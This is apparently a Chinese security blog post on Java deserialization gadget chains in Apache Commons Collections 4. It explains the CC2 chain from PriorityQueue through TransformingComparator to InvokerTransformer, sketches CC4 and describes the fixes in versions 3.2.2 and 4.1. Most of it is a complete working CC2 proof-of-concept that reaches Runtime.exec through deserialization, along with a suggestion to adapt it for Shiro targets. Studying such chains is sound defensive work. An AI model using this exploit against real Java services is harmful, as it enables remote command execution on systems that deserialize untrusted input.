背景:
Apache Commons Collections是一个著名的辅助开发库,包含了一些Java中没有的数据结构和和辅助方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
在2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
可⻅,groupId和artifactId都变了。前者是Commons Collections老的版本包,当时版本号是3.2.1;后者是官方在2013年推出的4版本,当时版本号是4.0。那么为什么会分成两个不同的分支呢?
官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4不再认为是一个用来替换commons-collections的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
依赖的区别:
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-
collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-
collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
3.2.1中存在反序列化利用链在4.0版本仍然可以利用,只需要进行一点改动:
LazyMap.decorate
改为LazyMap.lazyMap
即可
CommonCollections4版本的新链
commons-collections这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上原因是其中包含了一些可以执行任意方法的Transformer。所以,在commons-collections中找Gadget的过程,实际上可以简化为,找一条从
Serializable#readObject()
方法到Transformer#transform()
方法的调用链。
4版本有yso里有两个新链,CommonCollections2和CommonCollections4;
CommonCollection2
关键类:
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
java.util.PriorityQueue
是一个有自己readObject()方法的类:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
org.apache.commons.collections4.comparators.TransformingComparator
里调用了transform()方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
连接起来的调用顺序:
PriorityQueue#readObject()
中调用了heapify()
方 法,heapify()
中调用了 siftDown()
,siftDown()
中调用了siftDownUsingComparator()
, siftDownUsingComparator()
中调用的comparator.compare()
,于是就连接到上面的TransformingComparator
了。流程比较简单。
关于PriorityQueue
- java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
- 反序列化时为什么需要调用 heapify() 方法?为了反序列化后,需要恢复(换言之,保证)这个结构的顺序
- 排序是靠将大的元素下移实现的。
siftDown()
是将节点下移的函数, 而comparator.compare()
用来比较两个元素大小 TransformingComparator
实现了java.util.Comparator
接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()
中就使用这个接口的compare()
方法比较树的节点。
构造Gadgets
- 准备Transform数组
Transformer transformer[] = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) };
- 准备Comparator
Transformer transformerChain = new ChainedTransformer(faketanformer); Comparator comparator = new TransformingComparator(transformerChain);
- 初始化PriorityQueue,transform是在compare触发,至少有两个元素才会触发比较
PriorityQueue priorityQueue = new PriorityQueue(2, comparator); priorityQueue.add(1); priorityQueue.add(2);
完整代码:
package changez.sec.CC2;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonCollections2 {
public static void main(String[] args) throws Exception{
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer faketanformer[] = new Transformer[]{
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(faketanformer);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
priorityQueue.add(1);
priorityQueue.add(2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(priorityQueue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
Object o = ois.readObject();
}
}
有了前面的经验,我们可以改造这个poc,比如使用TemplatesImpl
,去掉数组的限制,让其在shiro中可用。
CommonCollection4
ysoserial中CommonCollection4实际上是上面CC2与前面说过的CC3的一个结合:
前一段和CC2一样,通过PriorityQueue的compare方法触发transform,transform部分和CC3相同,执行TrAXFilter的构造方法,最终加载构造好的恶意TemplatesImpl。
修复
Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2。
在3.2.2上,新版本增加了一个方法FunctorUtils#checkUnsafeSerialization
用来检测徐俩号是否安全。
这个检查在常⻅的危险Transformer类(InstantiateTransformer
、 InvokerTransformer
、PrototypeFactory
、CloneTransformer
等)的 readObject 里进行调用,所以,当我们反序列化包含这些对象时就会抛出一个异常:
Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
在4.1里,这几个危险Transformer类不再实现 Serializable 接口,也就是说,这几个彻底无法序列化和反序列化了。